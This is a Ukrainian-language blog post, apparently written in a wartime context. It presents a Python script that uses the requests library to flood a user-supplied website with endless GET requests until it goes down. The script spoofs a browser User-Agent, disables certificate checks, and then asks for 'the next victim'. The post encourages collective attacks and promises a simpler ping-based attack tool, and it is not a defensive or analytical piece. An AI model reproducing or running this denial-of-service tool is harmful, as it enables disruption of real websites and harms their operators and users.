DOS-атак

Python та DOS-атаки за допомогою бібліотеки requests

Привіт усім! Сьогодні невеликий пост, навіяний поточною ситуацією. Ми будемо експериментувати з DOS-атаками за допомогою бібліотеки requests у Python.

Для початку — що таке DOS-атака? Це створення ситуації, коли ми самостійно (зовсім неефективно за сучасних потужностей) або колективно (о, так!) створюємо певне навантаження на сервер, який атакуємо. Велика кількість запитів, які змушують сервер виділяти ресурси для відповідей, призводить до того, що врешті сервер перевантажується і не може обробляти запити, які дійсно важливі. Тож давайте розберемося, як створювати такі запити! 🙂

Логіка сьогоднішнього коду дуже проста — ми відправляємо запит на сайт і намагаємося отримати повний код сторінки, яка нас цікавить. Дрібниця, але коли таких дрібниць мільйон — сайт починає гальмувати, і врешті перестає стабільно працювати. Для нашого комп’ютера та з’єднання це — зовсім непомітне навантаження.

Приклад коду — нижче (і так, дякую підписнику Льву, який зараз у Києві, за тестування та коментарі. Там дуже складно, але він не втрачає оптимізму — окремий респект йому за це!):

import requests  # підключили бібліотеку requests (я писав про неї <a href="https://lavrynenko.com/?s=requests" rel="noopener" target="_blank">не раз</a>)
def get_link():  # Створюємо функцію, яка отримує посилання на сайт, який атакуємо
link = input(str('Посилання: '))
get_content(link)
def get_content(link):  # Створюємо функцію, яка власне і буде генерувати запити на сайт
i = 1
while True:
try:
r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False)  # Підроблений заголовок нашого браузера
r_answer = r.content  # Створюємо змінну, яка містить вихідний код сторінки
print('Відправлено пакетів:', i)  # Виводимо статистику
i = i + 1
except:
print('Схоже, сайт', link, 'лежить. Перевіряємо ще раз...')  # Лежить? Перевіримо на всяк випадок :) 
try:
r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False)
r_answer = r.content
print('Точно лежить :) Обираємо наступну жертву.')  # Точно лежить. Давайте оберемо наступну жертву? :) 
get_link()
except:
print('Точно лежить :) Обираємо наступну жертву.')
get_link()
while True:
get_content(get_link())
get_link()

Дякую за увагу! Як завжди — якщо виникнуть питання, пишіть на пошту або в Telegram.

Завтра постараюся викласти версію найпростішого атакера на основі Ping-запитів у вигляді віконного додатку (біда сучасних користувачів комп’ютерів у тому, що більшість зовсім не вміє користуватися командним рядком). Слава Україні!

Support the Blog!

Running a blog takes a lot of effort, time, and passion. Your donations help improve the content, inspire new ideas, and keep the project going.
If you’ve enjoyed the blog’s materials, any support would mean the world to me. Thank you for being here! ❤️

PayPal Logo Donate via PayPal

Revolut Logo Donate via Revolut